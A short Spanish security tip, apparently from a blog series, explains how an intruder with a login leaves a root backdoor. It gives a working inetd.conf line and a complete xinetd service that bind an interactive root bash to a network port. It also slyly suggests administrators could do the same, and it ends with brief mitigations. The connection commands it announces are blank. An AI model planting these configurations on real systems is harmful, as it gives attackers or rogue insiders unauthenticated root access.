Receta de seguridad XXIV: añadir rootshells
Descripción:
Un método utilizado por los hackers para dejar una puerta trasera es una root shell. Se trata de dejar escuchando un puerto determinado poco conocido y hacer que al conectarnos a él nos devuelva una shell de root.
Imaginemos el caso más simple (en posteriores recetas comentaremos otros casos): el hacker tiene login en el sistema.
Vamos a hacerlo para aquellas configuraciones con inetd y con xinetd:
- inetd, se trata de añadir al fichero /etc/inetd.conf la siguiente línea:
ingreslock stream tcp nowait root /bin/bash -i
Hemos escogido el servicio ingreslock. /bin/bash -i nos devuelve una shell interactiva como root al conectarnos al puerto ingreslock.
- xinetd, se trata de crear un servicio bajo /etc/xinetd.d como por ejemplo:
service prueba
{
type = UNLISTED
id = prueba-stream
socket_type = stream
protocol = tcp
user = root
server = /bin/bash
server_args = -i
port = 60180
wait = no
disable = no
}
Es decir nos conectaríamos al puerto 60180 para obtener una sheel de root interactiva
De esta forma y considerando el segundo caso tan solo tendríamos que ejecutar:
o
si hacemos uso de nc,
para obtener la shell de root
¿ Da alguna idea a alguien que actualmente es administrador para el futuro?
Solución:
- Eliminar todos los servicios que no se utilizan.
- Hacer uso de herramientas de integridad de ficheros sobre los ficheros de configuración de servicios.
- Realizar testeo frecuente de puertos abiertos
